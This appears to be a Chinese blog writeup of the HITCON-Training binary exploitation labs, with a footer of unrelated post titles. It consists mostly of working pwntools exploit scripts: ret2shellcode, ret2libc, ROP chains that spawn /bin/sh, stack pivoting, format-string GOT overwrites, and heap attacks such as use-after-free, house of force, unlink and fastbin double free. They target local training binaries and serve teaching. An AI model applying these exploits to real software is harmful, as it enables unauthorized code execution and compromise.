HITCON-Training-Writeup

原文链接M4x@10.0.0.55

项目地址M4x's github,欢迎star~

更新时间5月16

复习一下二进制基础,写写HITCON-Training的writeup,题目地址:https://github.com/scwuaptx/HITCON-Training

Outline

  • Basic Knowledge

    • Introduction

      • Reverse Engineering

        • Static Analysis
        • Dynamic Analysis
      • Exploitation
      • Useful Tool
        • IDA PRO
        • GDB
        • Pwntool
      • lab 1 - sysmagic
    • Section
    • Compile,linking,assmbler
    • Execution
      • how program get run
      • Segment
    • x86 assembly
      • Calling convention
      • lab 2 - open/read/write
      • shellcoding
  • Stack Overflow
    • Buffer Overflow
    • Return to Text/Shellcode
      • lab 3 - ret2shellcode
    • Protection
      • ASLR/DEP/PIE/StackGuard
    • Lazy binding
    • Return to Library
      • lab 4 - ret2lib
  • Return Oriented Programming
    • ROP

      • lab 5 - simple rop
    • Using ROP bypass ASLR
      • ret2plt
    • Stack migration
      • lab 6 - migration
  • Format String Attack
    • Format String
    • Read from arbitrary memory
      • lab 7 - crack
    • Write to arbitrary memory
      • lab 8 - craxme
    • Advanced Trick
      • EBP chain
      • lab 9 - playfmt
  • x64 Binary Exploitation
    • x64 assembly
    • ROP
    • Format string Attack
  • Heap exploitation
    • Glibc memory allocator overview
    • Vulnerablility on heap
      • Use after free

        • lab 10 - hacknote
      • Heap overflow
        • house of force

          • lab 11 - 1 - bamboobox1
        • unlink
          • lab 11 - 2 - bamboobox2
  • Advanced heap exploitation
    • Fastbin attack

      • lab 12 - babysecretgarden
    • Shrink the chunk
    • Extend the chunk
      • lab 13 - heapcreator
    • Unsortbin attack
      • lab 14 - magicheap
  • C++ Exploitation
    • Name Mangling
    • Vtable fucntion table
    • Vector & String
    • New & delete
    • Copy constructor & assignment operator
      • lab 15 - zoo

Writeup

lab1-sysmagic

一个很简单的逆向题,看get_flag函数的逻辑逆回来即可,直接逆向的方法就不说了

或者经过观察,flag的生成与输入无关,因此可以通过patch或者调试直接获得flag

patch

修改关键判断即可,patch后保存运行,输入任意值即可得flag

调试

通过观察汇编,我们只需使下图的cmp满足即可,可以通过gdb调试,在调试过程中手动满足该条件

直接写出gdb脚本

lab1 [master●●] cat solve
b *get_flag+389
r
#your input
set $eax=$edx
c
lab1 [master●●]

也可得到flag

同时注意,IDA对字符串的识别出了问题,修复方法可以参考inndy的ROP2

lab2-orw.bin

通过查看prctl的man手册发现该程序限制了一部分系统调用,根据题目的名字open,read,write以及IDA分析,很明显是要我们自己写读取并打印flag的shellcode了,偷个懒,直接调用shellcraft模块

lab2 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug" shellcode = sc.pushstr("/home/m4x/HITCON-Training/LAB/lab2/testFlag")
shellcode += sc.open("esp")
# open返回的文件文件描述符存贮在eax寄存器里
shellcode += sc.read("eax", "esp", 0x100)
# open读取的内容放在栈顶
shellcode += sc.write(1, "esp", 0x100) io = process("./orw.bin")
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
lab2 [master●●]

该题与pwnable.tw的orw类似,那道题的writeup很多,因此就不说直接撸汇编的方法了

lab3-ret2sc

很简单的ret2shellcode,程序没有开启NX和canary保护,把shellcode存贮在name这个全局变量上,并ret到该地址即可

lab3 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
context(os = "linux", arch = "i386") io = process("./ret2sc") shellcode = asm(shellcraft.execve("/bin/sh"))
io.sendlineafter(":", shellcode) payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload) io.interactive()
io.close()
lab3 [master●●]

需要注意的是,该程序中的read是通过esp寻址的,因此具体的offset可以通过调试查看

lab4-ret2lib

ret2libc,并且程序中已经有了一个可以查看got表中值的函数See_something,直接leak出libcBase,通过one_gadget或者system("/bin/sh")都可以get shell,/bin/sh可以使用libc中的字符串,可以通过read读入到内存中,也可以使用binary中的字符串

lab4 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import * io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcBase = int(io.recvuntil("\n", drop = True), 16) - libc.symbols["puts"] success("libcBase -> {:#x}".format(libcBase))
# oneGadget = libcBase + 0x3a9fc # payload = flat(cyclic(60), oneGadget)
payload = flat(cyclic(60), libcBase + libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
io.sendlineafter(" :", payload) io.interactive()
io.close()
lab4 [master●●]

lab5-simplerop

本来看程序是静态链接的,想通过ROPgadget/ropper等工具生成的ropchain一波带走,但实际操作时发现read函数只允许读入100个字符,去除buf到main函数返回地址的偏移为32,我们一共有100 - 32 = 68的长度来构造ropchain,而ropper/ROPgadget等自动生成的ropchain都大于这个长度,这就需要我们精心设计ropchain了,这里偷个懒,优化一下ropper生成的ropchain来缩短长度

ropper --file ./simplerop --chain "execve cmd=/bin/sh"

ROPgadget --binary ./simplerop --ropchain

先看一下ropper生成的ropchain

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0) rop = '' rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3068)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
print rop
[INFO] rop chain generated!

简单介绍一下原理,通过一系列pop|ret等gadget,使得eax = 0xb(execve 32位下的系统调用号),ebx -> /bin/sh, ecx = edx = 0,然后通过int 0x80实现系统调用,执行execve("/bin/sh", 0, 0),hackme.inndy上也有一道类似的题目ROP2

而当观察ropper等工具自动生成的ropchain时,会发现有很多步骤很繁琐的,可以做出很多优化,给一个优化后的例子

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0) pop_edx_ecx_ebx = 0x0806e850 rop = '' # write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060" # rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += p(0x00000000)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
# rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
# rop += rebase_0(0x000a3060)
# rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068) # set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0" rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
asset len(rop) <= 100 - 32

注释都已经写在代码里了,主要优化了将/bin/sh\x00读入以及设置ebx,ecx,edx等寄存器的过程

或者直接return到read函数,将/bin/sh\x00 read到bss/data段,能得到更短的ropchain

最终脚本:

lab5 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0) pop_edx_ecx_ebx = 0x0806e850 rop = '' # write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060" # rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
# rop += p(0x00000000)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
# rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
# rop += rebase_0(0x000a3060)
# rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
# rop += rebase_0(0x000a3068)
# rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
# rop += rebase_0(0x000a3068) # set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0" rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
assert len(rop) <= 100 - 32 io = process("./simplerop") payload = cyclic(32) + rop
io.sendlineafter(" :", payload) io.interactive()
io.close()

lab6-migration

栈迁移的问题,可以看出这个题目比起暴力的栈溢出做了两点限制:

  • 每次溢出只有0x40-0x28-0x4=20个字节的长度可以构造ropchain

  • 通过

      if ( count != 1337 )
    exit(1);

    限制了我们只能利用一次main函数的溢出(直接控制main返回到exit后的话,程序的栈结构会乱掉)

所以我们就只能通过20个字节的ropchain来进行rop了,关于栈迁移(又称为stack-pivot)可以看这个slide

我的exp:

lab6 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io) elf = ELF("./migration")
libc = elf.libc # bufAddr = elf.bss()
bufAddr = 0x0804a000
readPlt = elf.plt["read"]
readGot = elf.got["read"]
putsPlt = elf.plt["puts"]
p1ret = 0x0804836d
p3ret = 0x08048569
leaveRet = 0x08048504 io = process("./migration")
# DEBUG()
payload = flat([cyclic(0x28), bufAddr + 0x100, readPlt, leaveRet, 0, bufAddr + 0x100, 0x100])
io.sendafter(" :\n", payload)
sleep(0.1) payload = flat([bufAddr + 0x600, putsPlt, p1ret, readGot, readPlt, leaveRet, 0, bufAddr + 0x600, 0x100])
io.send(payload)
sleep(0.1)
# print io.recv()
libcBase = u32(io.recv()[: 4]) - libc.sym['read']
success("libcBase -> {:#x}".format(libcBase))
pause() payload = flat([bufAddr + 0x100, readPlt, p3ret, 0, bufAddr + 0x100, 0x100, libcBase + libc.sym['system'], 0xdeadbeef, bufAddr + 0x100])
io.send(payload)
sleep(0.1)
io.send("$0\0")
sleep(0.1) io.interactive()
io.close()

稍微解释一下,先通过主函数中可以控制的20个字节将esp指针劫持到可控的bss段,然后就可以为所欲为了。

关于stack-pivot,pwnable.kr的simple_login是很经典的题目,放上一篇这道题的很不错的wp

这个还有个问题,sendline会gg,send就可以,在atum大佬的博客上找到了原因

lab7-crack

输出name时有明显的格式化字符串漏洞,这个题的思路有很多,可以利用fsb改写password,或者leak出password,也可以直接通过fsb,hijack puts_got到system("cat flag")处(注意printf实际调用了puts)

lab7 [master●●] cat hijack.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import * putsGot = 0x804A01C
bullet = 0x804872B io = process("./crack")
payload = fmtstr_payload(10, {putsGot: bullet})
io.sendlineafter(" ? ", payload) io.sendline()
io.interactive()
io.close()
lab7 [master●●] cat overwrite.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import * pwdAddr = 0x804A048
payload = fmtstr_payload(10, {pwdAddr: 6}) io = process("./crack") io.sendlineafter(" ? ", payload)
io.sendlineafter(" :", "6") io.interactive()
io.close()
lab7 [master●●] cat leak.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import * pwdAddr = 0x804A048
payload = p32(pwdAddr) + "|%10$s||" io = process("./crack")
io.sendlineafter(" ? ", payload)
io.recvuntil("|")
leaked = u32(io.recvuntil("||", drop = True))
io.sendlineafter(" :", str(leaked)) io.interactive()
io.close()

32位的binary可以直接使用pwntools封装好的fmtstr_payload函数:

lab8-craxme

同样是32位的fsb,直接用fmtstr_payload就可以解决

lab8 [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from sys import argv
context.log_level = "debug" magicAddr = ELF("./craxme").sym["magic"] if argv[1] == "1":
payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c}) io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()

如果想要自己实现fmtstr_payload功能,可以参考这篇文章

lab9-playfmt

lab10-hacknote

最简单的一种uaf利用,结构体中有函数指针,通过uaf控制该函数指针指向magic函数即可,uaf的介绍可以看这个slide

exp:

lab10 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] def debug():
raw_input("DEBUG: ")
gdb.attach(io) io = process("./hacknote")
elf = ELF("./hacknote")
magic_elf = elf.symbols["magic"] def addNote(size, content):
io.sendafter("choice :", "1")
io.sendafter("size ", str(size))
io.sendafter("Content :", content) def delNote(idx):
# debug()
io.sendafter("choice :", "2")
io.sendafter("Index :", str(idx)) def printNote(idx):
# debug()
io.sendafter("choice :", "3")
io.sendafter("Index :", str(idx)) def uaf():
addNote(24, "a" * 24)
addNote(24, "b" * 24) delNote(0)
delNote(1)
# debug()
addNote(8,p32(magic_elf)) printNote(0) if __name__ == "__main__":
uaf()
io.interactive()
io.close()

说一下怎么修复IDA中的结构体

识别出结构体的具体结构后

  • shift+F1, insert插入识别出的结果

  • shift+F9,insert导入我们刚添加的local type

  • 然后我们在结构体变量上y一下,制定其数据类型即可

  • 修复的效果图如下:

lab11-bamboobox

可以种house of force,也可以使用unlink,先说house of force的方法

house of force

简单说一下我对hof的理解,如果我们能控制top_chunksize,那么我们就可以通过控制malloc一些精心设计的大数/负数来实现控制top_chunk的指针,就可以实现任意地址写的效果,个人感觉,hof的核心思想就在这个force上,疯狂malloc,简单粗暴效果明显

lab11 [master●] cat hof.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from zio import l64
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] io = process("./bamboobox") def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io) def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))
io.sendafter(":", name) def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))
io.sendafter(":", name) def exit():
io.sendlineafter(":", "5") if __name__ == "__main__":
add(0x60, cyclic(0x60))
# DEBUG()
change(0, 0x60 + 0x10, cyclic(0x60) + p64(0) + l64(-1))
add(-(0x60 + 0x10) - (0x10 + 0x10) - 0x10, 'aaaa') # -(sizeof(item)) - sizeof(box) - 0x10
add(0x10, p64(ELF("./bamboobox").sym['magic']) * 2)
exit() io.interactive()
io.close()

unlink

至于unlink,在这个slide中有较大篇幅的介绍,就不在说明原理了

lab11 [master●] cat unlink.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] io = process("./bamboobox")
# process("./bamboobox").libc will assign libc.address but ELF("./bamboobox") won't
# libc = io.libc
elf = ELF("./bamboobox")
libc = elf.libc def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io) def show():
io.sendlineafter(":", "1") def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))
io.sendafter(":", name) def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))
io.sendafter(":", name) def remove(idx):
io.sendlineafter(":", "4")
io.sendlineafter(":", str(idx)) def exit():
io.sendlineafter(":", "5") if __name__ == "__main__":
add(0x40, '0' * 8)
add(0x80, '1' * 8)
add(0x40, '2' * 8)
ptr = 0x6020c8 fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
change(0, 0x80, fakeChunk)
remove(1)
payload = flat([0, 0, 0x40, elf.got['atoi']])
change(0, 0x80, payload)
show()
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
success("libc.address -> {:#x}".format(libc.address))
# libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - libc.sym['atoi']
# success("libcBase -> {:#x}".format(libcBase))
pause() change(0, 0x8, p64(libc.sym['system']))
# change(0, 0x8, p64(libcBase + libc.sym['system']))
io.sendline('$0') io.interactive()
io.close()

可以看出,通过house of house直接控制函数指针进而控制ip的方法代码量少了不少,这也提醒我们不要放弃利用任何一个函数指针的机会

lab12-secretgarden

double free的题目,所谓double free,指的就是对同一个allocated chunk free两次,这样就可以形成一个类似0 -> 1 -> 0的cycled bin list,这样当我们malloc出0时,就可以修改bin list中0的fd,如1 -> 0 -> target,这样只要我们再malloc三次,并通过malloc的检查,就可以实现malloc到任何地址,进而实现任意地址写,至于double free的检查怎么绕过可以看这个slide

lab12 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io, "b *0x4009F2") def Raise(length, name):
io.sendlineafter(" : ", "1")
io.sendlineafter(" :", str(length))
io.sendafter(" :", name)
io.sendlineafter(" :", "nb") def remove(idx):
io.sendlineafter(" : ", "3")
io.sendlineafter(":", str(idx)) if __name__ == "__main__":
# io = process("./secretgarden", {"LD_PRELOAD": "./libc-2.23.so"})
io = process("./secretgarden") Raise(0x50, "000") # 0
Raise(0x50, "111") # 1 remove(0) # 0
# pause()
remove(1) # 1 -> 0
remove(0) # 0 -> 1 -> 0 magic = ELF("./secretgarden").sym["magic"]
fakeChunk = 0x601ffa
payload = cyclic(6) + p64(0) + p64(magic) * 2 Raise(0x50, p64(fakeChunk)) # 0
Raise(0x50, "111") # 1
Raise(0x50, "000")
# DEBUG()
Raise(0x50, payload) io.interactive()
io.close()

lab13-heapcreator

在edit_heap中有一个故意留下来的off-by-one,并且不是off-by-one null byte,因此可以使用extended chunk这种技巧造成overlapping chunk,进而通过将*content覆写为某函数的got(如free/atoi)就可以leak出libc的地址,然后将改写为system的地址,控制参数即可get shell

关于extended chunk的介绍可以看这个slide

lab13 [master●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
context.log_level = "debug" def create(size, content):
io.sendlineafter(" :", "1")
io.sendlineafter(" : ", str(size))
io.sendlineafter(":", content) def edit(idx, content):
io.sendlineafter(" :", "2")
io.sendlineafter(" :", str(idx))
io.sendlineafter(" : ", content) def show(idx):
io.sendlineafter(" :", "3")
io.sendlineafter(" :", str(idx)) def delete(idx):
io.sendlineafter(" :", "4")
io.sendlineafter(" :", str(idx)) if __name__ == "__main__":
io = process("./heapcreator", {"LD_LOADPRE": "/lib/x86_64-linux-gnu/libc.so.6"})
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") create(0x18, '0000') # 0
create(0x10, '1111') # 1 payload = "/bin/sh\0" + cyclic(0x10) + p8(0x41)
edit(0, payload) # overwrite 1 delete(1) # overlapping chunk freeGot = 0x0000000000602018
payload = p64(0) * 4 + p64(0x30) + p64(freeGot)
create(0x30, payload)
show(1) libcBase = u64(io.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.sym["free"]
success("libcBase -> {:#x}".format(libcBase))
# pause()
edit(1, p64(libcBase + libc.sym["system"])) delete(0)
io.interactive()
io.close()

lab14-magicheap

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] io = process("./magicheap")
elf = ELF("./magicheap")
# libc = ELF("") def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io) def create(size, content, attack = False):
io.sendlineafter("choice :", "1")
io.sendlineafter(" : ", str(size))
io.sendlineafter(":", content) def edit(idx, size, content):
io.sendlineafter("choice :", "2")
io.sendlineafter(" :", str(idx))
io.sendlineafter(" : ", str(size))
io.sendlineafter(" : ", content) def delete(idx):
io.sendlineafter("choice :", "3")
io.sendlineafter(" :", str(idx)) if __name__ == "__main__":
create(0x10, 'aaaa')
create(0x80, 'bbbb')
create(0x10, 'cccc') delete(1) payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(0) + p64(elf.symbols["magic"] - 0x10)
edit(0, 0x10 + 0x20, payload) create(0x80, 'dddd') io.sendlineafter("choice :", "4869")
io.interactive()
io.close()

lab15-zoo

pwn in C++

HITCON-Training-Writeup的更多相关文章

  1. UAF——use after free

    本文系pwn2web原创,转载请说明出处 UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为 分配一块内存 free该内存但不回收,构成悬垂指针 再次构造分配同样大小的内存,按 ...

  2. HITCON 2019 Lost Modular again writeup

    HITCON 2019 Lost Modular again writeup 算是基础题,有很多之前题的影子,做不出来纯属菜. 题目 加密脚本 from Crypto.Util.number impo ...

  3. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  4. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  5. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  6. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  7. 0x01 Wechall writeup

    目录 0x01 Wechall writeup Limited Access Training: Crypto - Caesar II Impossible n'est pas français Tr ...

  8. 0x00 Wechall writeup

    目录 0x00 Wechall writeup Training: Get Sourced Training: ASCII Encodings: URL Training: Stegano I Tra ...

  9. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  10. hdu 4946 2014 Multi-University Training Contest 8

    Area of Mushroom Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) ...

随机推荐

  1. 一个抓猫的游戏 消遣GAME 持续更新中!

    一个抓猫的游戏 版本 Catch_Cat_V0.30 https://files-cdn.cnblogs.com/files/send-off-a-friend/Catch_Cat_V0.3.rar ...

  2. 论文阅读笔记(十九)【ITIP2017】:Super-Resolution Person Re-Identification With Semi-Coupled Low-Rank Discriminant Dictionary Learning

    Introduction (1)问题描述: super resolution(SP)问题:Gallery是 high resolution(HR),Probe是 low resolution(LR). ...

  3. 获取http://XX.XX.XX.XX :XXXX/QuestionResult.aspx?method=接口返回值

    private string GetWeather(string strRegisterNo) { string getWeatherUrl = "http://XX.XX.XX.XX :X ...

  4. Python 变量&列表 初学者笔记

    变量 消除空白后该变量需要存储一下(此操作常用于“储存用户输入并对其进行清理”) strip()消除两端空白 lstrip()消除前部空白 rstrip()消除末尾空白   upper()全部字母大写 ...

  5. [JAVA] 面向对象小小总结

    面向对象概述 符合人类思维习惯的编程思想 , 生活中存在着不同形态的事物 , 这些事物存在着不同的联系 , 在程序中使用对象来映射现实中事物 , 使用对象关系来描述事物之间的联系, 这种思想就是面向对 ...

  6. iframe在iphone手机上的问题

    问题1: 通过document.addEventListener("scroll",function(){})对页面滚动监听事件进行监听,但ios下$(document).scro ...

  7. python全栈学习 day02

    pycharm 安装设置: 按照百度百科或者官网介绍下载,安装. 激活步骤 1:改host 2.输入激活信息,注意有效期. python 逻辑运算符://返回的均为bool值 与 and A and ...

  8. windows下web端测试环境搭建(tomcat+oracle)

    一.安装oracle数据库 1.关闭防火墙.360安全卫士,运行安装程序:Setup.exe,然后下一步...... 2.安装完成后,检查服务是否已启动 3.cmd输入验证登录成功:sqlplus s ...

  9. [Python]爬取首都之窗百姓信件网址id python 2020.2.13

    经人提醒忘记发网址id的爬取过程了, http://www.beijing.gov.cn/hudong/hdjl/com.web.consult.consultDetail.flow?original ...

  10. ovs安装教程

    原文链接:https://www.cnblogs.com/goldsunshine/p/10331606.html Open vSwitch系列之二 安装指定版本ovs   Open vSwitch系 ...